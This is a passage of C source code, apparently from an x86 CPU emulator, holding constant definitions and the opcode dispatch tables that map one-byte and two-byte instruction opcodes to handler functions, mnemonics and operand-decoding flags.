3\n#define II_MOD_YYY_RM 4\n#define II_UUUU_TTTN 5\n#define II_XX_SREG3_ZZ 6  \n\n#define II_IMM 1\n#define II_IMM8 2\n#define II_IMM16 3\n#define II_IMM32 4\n\n#define II_DISPF 1\n#define II_DISP8 2\n#define II_DISP16 3\n#define II_DISP32 4\n\n/*#define II_LEVEL8 1 -- implementation pending\n\n#define II_TYPE 1 -- impementation pending*/\n\n#define II_FPU_INSTR 1\n\n\nstruct emu_cpu_instruction_info ii_onebyte[0x100] = {\n\t/* 00 */ {instr_add_00, \"add\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 01 */ {instr_add_01, \"add\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 02 */ {instr_add_02, \"add\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 03 */ {instr_add_03, \"add\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 04 */ {instr_add_04, \"add\", {0, 0, 0, II_IMM8, 0, 0, 0, 0}},\n\t/* 05 */ {instr_add_05, \"add\", {0, 0, 0, II_IMM, 0, 0, 0, 0}},\n\t/* 06 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 07 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 08 */ {instr_or_08 , \"or\" , {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},  \n\t/* 09 */ {instr_or_09 , \"or\" , {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},  \n\t/* 0a */ {instr_or_0a , \"or\" , {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},  \n\t/* 0b */ {instr_or_0b , \"or\" , {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},  \n\t/* 0c */ {instr_or_0c , \"or\" , {0, 0, 0, II_IMM8, 0, 0, 0}},        \n\t/* 0d */ {instr_or_0d , \"or\" , {0, 0, 0, II_IMM, 0, 0, 0}},         \n\t/* 0e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 0f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 10 */ {instr_adc_10, \"adc\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},   \n\t/* 11 */ {instr_adc_11, \"adc\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},    \n\t/* 12 */ {instr_adc_12, \"adc\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},   \n\t/* 13 */ {instr_adc_13, \"adc\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},   \n\t/* 14 */ {instr_adc_14, \"adc\", {0, 0, 0, II_IMM8, 0, 0, 0}},         \n\t/* 15 */ {instr_adc_15, \"adc\", {0, 0, 0, II_IMM, 0, 0, 0}},          \n\t/* 16 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 17 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 18 */ {instr_sbb_18, \"sbb\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},         \n\t/* 19 */ {instr_sbb_19, \"sbb\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},         \n\t/* 1a */ {instr_sbb_1a, \"sbb\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},         \n\t/* 1b */ {instr_sbb_1b, \"sbb\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},         \n\t/* 1c */ {instr_sbb_1c, \"sbb\", {0, 0, 0, II_IMM8, 0, 0, 0}},               \n\t/* 1d */ {instr_sbb_1d, \"sbb\", {0, 0, 0, II_IMM, 0, 0, 0}},                \n\t/* 1e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 1f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 20 */ {instr_and_20, \"and\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},  \n\t/* 21 */ {instr_and_21, \"and\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},  \n\t/* 22 */ {instr_and_22, \"and\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},  \n\t/* 23 */ {instr_and_23, \"and\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},  \n\t/* 24 */ {instr_and_24, \"and\", {0, 0, 0, II_IMM8, 0, 0, 0}},        \n\t/* 25 */ {instr_and_25, \"and\", {0, 0, 0, II_IMM, 0, 0, 0}},         \n\t/* 26 */ {prefix_fn, \"ES:\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 27 */ {instr_daa_27, \"daa\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 28 */ {instr_sub_28, \"sub\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},     \n\t/* 29 */ {instr_sub_29, \"sub\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},     \n\t/* 2a */ {instr_sub_2a, \"sub\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},     \n\t/* 2b */ {instr_sub_2b, \"sub\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},     \n\t/* 2c */ {instr_sub_2c, \"sub\", {0, 0, 0, II_IMM8, 0, 0, 0}},           \n\t/* 2d */ {instr_sub_2d, \"sub\", {0, 0, 0, II_IMM, 0, 0, 0}},            \n\t/* 2e */ {prefix_fn, \"CS:\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 2f */ {instr_das_2f, \"das\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 30 */ {instr_xor_30, \"xor\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},         \n\t/* 31 */ {instr_xor_31, \"xor\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},         \n\t/* 32 */ {instr_xor_32, \"xor\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},         \n\t/* 33 */ {instr_xor_33, \"xor\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},         \n\t/* 34 */ {instr_xor_34, \"xor\", {0, 0, 0, II_IMM8, 0, 0, 0}},               \n\t/* 35 */ {instr_xor_35, \"xor\", {0, 0, 0, II_IMM, 0, 0, 0}},                \n\t/* 36 */ {prefix_fn, \"SS:\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 37 */ {instr_aaa_37, \"aaa\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 38 */ {instr_cmp_38, \"cmp\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},       \n\t/* 39 */ {instr_cmp_39, \"cmp\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},       \n\t/* 3a */ {instr_cmp_3a, \"cmp\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},       \n\t/* 3b */ {instr_cmp_3b, \"cmp\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}},       \n\t/* 3c */ {instr_cmp_3c, \"cmp\", {0, 0, 0, II_IMM8, 0, 0, 0}},             \n\t/* 3d */ {instr_cmp_3d, \"cmp\", {0, 0, 0, II_IMM, 0, 0, 0}},              \n\t/* 3e */ {prefix_fn, \"DS:\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 3f */ {instr_aas_3f, \"aas\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 40 */ {instr_inc_4x, \"inc\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 41 */ {instr_inc_4x, \"inc\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 42 */ {instr_inc_4x, \"inc\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 43 */ {instr_inc_4x, \"inc\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 44 */ {instr_inc_4x, \"inc\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 45 */ {instr_inc_4x, \"inc\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 46 */ {instr_inc_4x, \"inc\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 47 */ {instr_inc_4x, \"inc\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 48 */ {instr_dec_4x, \"dec\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 49 */ {instr_dec_4x, \"dec\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 4a */ {instr_dec_4x, \"dec\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 4b */ {instr_dec_4x, \"dec\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 4c */ {instr_dec_4x, \"dec\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 4d */ {instr_dec_4x, \"dec\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 4e */ {instr_dec_4x, \"dec\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 4f */ {instr_dec_4x, \"dec\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 50 */ {instr_push_5x, \"push\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 51 */ {instr_push_5x, \"push\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 52 */ {instr_push_5x, \"push\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 53 */ {instr_push_5x, \"push\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 54 */ {instr_push_5x, \"push\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 55 */ {instr_push_5x, \"push\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 56 */ {instr_push_5x, \"push\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 57 */ {instr_push_5x, \"push\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 58 */ {instr_pop_5x, \"pop\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 59 */ {instr_pop_5x, \"pop\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 5a */ {instr_pop_5x, \"pop\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 5b */ {instr_pop_5x, \"pop\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 5c */ {instr_pop_5x, \"pop\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 5d */ {instr_pop_5x, \"pop\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 5e */ {instr_pop_5x, \"pop\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 5f */ {instr_pop_5x, \"pop\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 60 */ {instr_pushad_60, \"pushad\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 61 */ {instr_popad_61, \"popad\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 62 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 63 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 64 */ {prefix_fn, \"FS:\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 65 */ {prefix_fn, \"GS:\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 66 */ {prefix_fn, \"OPSIZE:\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 67 */ {prefix_fn, \"ADSIZE:\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 68 */ {instr_push_68, \"push\", {0, 0, 0, II_IMM, 0, 0, 0, 0}},\n\t/* 69 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 6a */ {instr_push_6a, \"push\", {0, 0, 0, II_IMM8, 0, 0, 0, 0}},\n\t/* 6b */ {instr_imul_6b, \"imul\", {0, 0, II_MOD_REG_RM, II_IMM8, 0, 0, 0, 0}},\n\t/* 6c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 6d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 6e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 6f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 70 */ {instr_jcc_70, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 71 */ {instr_jcc_71, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 72 */ {instr_jcc_72, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 73 */ {instr_jcc_73, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 74 */ {instr_jcc_74, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 75 */ {instr_jcc_75, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 76 */ {instr_jcc_76, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 77 */ {instr_jcc_77, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 78 */ {instr_jcc_78, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 79 */ {instr_jcc_79, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 7a */ {instr_jcc_7a, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 7b */ {instr_jcc_7b, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 7c */ {instr_jcc_7c, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 7d */ {instr_jcc_7d, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 7e */ {instr_jcc_7e, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 7f */ {instr_jcc_7f, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* 80 */ {instr_group_1_80, \"group1\", {0, 0, II_MOD_REG_RM, II_IMM8, 0, 0, 0, 0}},\n\t/* 81 */ {instr_group_1_81, \"group1\", {0, 0, II_MOD_REG_RM, II_IMM, 0, 0, 0, 0}},\n\t/* 82 */ {instr_group_1_80, \"group1\", {0, 0, II_MOD_REG_RM, II_IMM8, 0, 0, 0, 0}},\n\t/* 83 */ {instr_group_1_83, \"group1\", {0, 0, II_MOD_REG_RM, II_IMM8, 0, 0, 0, 0}},\n\t/* 84 */ {instr_test_84, \"test\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 85 */ {instr_test_85, \"test\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 86 */ {instr_xchg_86, \"xchg\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 87 */ {instr_xchg_87, \"xchg\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 88 */ {instr_mov_88, \"mov\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 89 */ {instr_mov_89, \"mov\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 8a */ {instr_mov_8a, \"mov\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 8b */ {instr_mov_8b, \"mov\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 8c */ {instr_mov_8c, \"mov\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 8d */ {instr_lea_8d, \"lea\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 8e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 8f */ {instr_group_10_8f, \"group10\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 90 */ {instr_xchg_9x, \"xchg\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 91 */ {instr_xchg_9x, \"xchg\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 92 */ {instr_xchg_9x, \"xchg\", {0, 0, 0, 0, 0, 0, 0}},  \n\t/* 93 */ {instr_xchg_9x, \"xchg\", {0, 0, 0, 0, 0, 0, 0}},  \n\t/* 94 */ {instr_xchg_9x, \"xchg\", {0, 0, 0, 0, 0, 0, 0}},  \n\t/* 95 */ {instr_xchg_9x, \"xchg\", {0, 0, 0, 0, 0, 0, 0}},  \n\t/* 96 */ {instr_xchg_9x, \"xchg\", {0, 0, 0, 0, 0, 0, 0}},  \n\t/* 97 */ {instr_xchg_9x, \"xchg\", {0, 0, 0, 0, 0, 0, 0}},  \n\t/* 98 */ {instr_cbw_98, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 99 */ {instr_cwd_99, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 9a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 9b */ {instr_wait_9b, \"wait\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 9c */ {instr_pushf_9c, \"pushf\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 9d */ {instr_popf_9d, \"popf\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 9e */ {instr_sahf_9e, \"sahf\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 9f */ {instr_lahf_9f, \"lahf\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a0 */ {instr_mov_a0, \"mov\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* a1 */ {instr_mov_a1, \"mov\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* a2 */ {instr_mov_a2, \"mov\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* a3 */ {instr_mov_a3, \"mov\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* a4 */ {instr_movsb, \"movsb\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a6 */ {instr_cmps_a6, \"cmps\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a7 */ {instr_cmps_a7, \"cmps\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* aa */ {instr_stos_aa, \"stos\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ab */ {instr_stos_ab, \"stos\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ac */ {instr_lods_ac, \"lods\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ad */ {instr_lods_ad, \"lods\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ae */ {instr_scas_ae, \"scas\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* af */ {instr_scas_af, \"scas\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* b0 */ {instr_mov_bx_1, \"mov\", {0, 0, 0, II_IMM8, 0, 0, 0, 0}},\n\t/* b1 */ {instr_mov_bx_1, \"mov\", {0, 0, 0, II_IMM8, 0, 0, 0, 0}},\n\t/* b2 */ {instr_mov_bx_1, \"mov\", {0, 0, 0, II_IMM8, 0, 0, 0, 0}},\n\t/* b3 */ {instr_mov_bx_1, \"mov\", {0, 0, 0, II_IMM8, 0, 0, 0, 0}},\n\t/* b4 */ {instr_mov_bx_1, \"mov\", {0, 0, 0, II_IMM8, 0, 0, 0, 0}},\n\t/* b5 */ {instr_mov_bx_1, \"mov\", {0, 0, 0, II_IMM8, 0, 0, 0, 0}},\n\t/* b6 */ {instr_mov_bx_1, \"mov\", {0, 0, 0, II_IMM8, 0, 0, 0, 0}},\n\t/* b7 */ {instr_mov_bx_1, \"mov\", {0, 0, 0, II_IMM8, 0, 0, 0, 0}},\n\t/* b8 */ {instr_mov_bx_2, \"mov\", {0, 0, 0, II_IMM, 0, 0, 0, 0}},\n\t/* b9 */ {instr_mov_bx_2, \"mov\", {0, 0, 0, II_IMM, 0, 0, 0, 0}},\n\t/* ba */ {instr_mov_bx_2, \"mov\", {0, 0, 0, II_IMM, 0, 0, 0, 0}},\n\t/* bb */ {instr_mov_bx_2, \"mov\", {0, 0, 0, II_IMM, 0, 0, 0, 0}},\n\t/* bc */ {instr_mov_bx_2, \"mov\", {0, 0, 0, II_IMM, 0, 0, 0, 0}},\n\t/* bd */ {instr_mov_bx_2, \"mov\", {0, 0, 0, II_IMM, 0, 0, 0, 0}},\n\t/* be */ {instr_mov_bx_2, \"mov\", {0, 0, 0, II_IMM, 0, 0, 0, 0}},\n\t/* bf */ {instr_mov_bx_2, \"mov\", {0, 0, 0, II_IMM, 0, 0, 0, 0}},\n\t/* c0 */ {instr_group_2_c0, \"group2\", {0, 0, II_MOD_YYY_RM, II_IMM8, 0, 0, 0, 0}},\n\t/* c1 */ {instr_group_2_c1, \"group2\", {0, 0, II_MOD_YYY_RM, II_IMM8, 0, 0, 0, 0}},\n\t/* c2 */ {instr_ret_c2, \"ret\", {0, 0, 0, II_IMM16, 0, 0, 0, 0}},\n\t/* c3 */ {instr_ret_c3, \"ret\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* c4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* c5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* c6 */ {instr_mov_c6, \"mov\", {0, 0, II_MOD_REG_RM, II_IMM8, 0, 0, 0, 0}},\n\t/* c7 */ {instr_mov_c7, \"mov\", {0, 0, II_MOD_REG_RM, II_IMM, 0, 0, 0, 0}},\n\t/* c8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* c9 */ {instr_leave, \"leave\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ca */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* cb */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* cc */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* cd */ {instr_int_cd, \"int\", {0, 0, 0, II_IMM8, 0, 0, 0, 0}}, \n\t/* ce */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* cf */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d0 */ {instr_group_2_d0, \"group2\", {0, 0, II_MOD_YYY_RM, 0, 0, 0, 0, 0}},\n\t/* d1 */ {instr_group_2_d1, \"group2\", {0, 0, II_MOD_YYY_RM, 0, 0, 0, 0, 0}},\n\t/* d2 */ {instr_group_2_d2, \"group2\", {0, 0, II_MOD_YYY_RM, 0, 0, 0, 0, 0}},\n\t/* d3 */ {instr_group_2_d3, \"group2\", {0, 0, II_MOD_YYY_RM, 0, 0, 0, 0, 0}},\n\t/* d4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d6 */ {instr_salc_d6, \"salc\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d8 */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}},\n\t/* d9 */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}},\n\t/* da */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}},\n\t/* db */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}},\n\t/* dc */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}},\n\t/* dd */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}},\n\t/* de */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}},\n\t/* df */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}},\n\t/* e0 */ {instr_loopcc_e0, \"loopcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* e1 */ {instr_loopcc_e1, \"loopcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* e2 */ {instr_loop_e2  , \"loop\",   {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* e3 */ {instr_jcc_e3, \"jcc\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* e4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e6 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e8 */ {instr_call_e8, \"call\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* e9 */ {instr_jmp_e9, \"jmp\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* ea */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* eb */ {instr_jmp_eb, \"jmp\", {0, 0, 0, 0, II_DISP8, 0, 0, 0}},\n\t/* ec */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ed */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ee */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ef */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f0 */ {prefix_fn, \"LOCK:\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f2 */ {prefix_fn, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f3 */ {prefix_fn, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f5 */ {instr_cmc_f5, \"cmc\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f6 */ {instr_group_3_f6, \"group3\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 1, 0}},\n\t/* f7 */ {instr_group_3_f7, \"group3\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 1, 0}},\n\t/* f8 */ {instr_clc_f8, \"clc\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f9 */ {instr_stc_f9, \"stc\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* fa */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* fb */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* fc */ {instr_cld_fc, \"cld\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* fd */ {instr_std_fd, \"std\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* fe */ {instr_group_4_fe, \"group4\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* ff */ {instr_group_5_ff, \"group5\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n};\n\nstruct emu_cpu_instruction_info ii_twobyte[0x100] = {\n\t/* 00 */ {instr_sldt_0f00, \"sldt\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 01 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 02 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 03 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 04 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 05 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 06 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 07 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 08 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 09 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 0a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 0b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 0c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 0d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 0e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 0f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 10 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 11 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 12 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 13 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 14 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 15 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 16 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 17 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 18 */ {0, 0, {0, 0, 0, 0, 0, 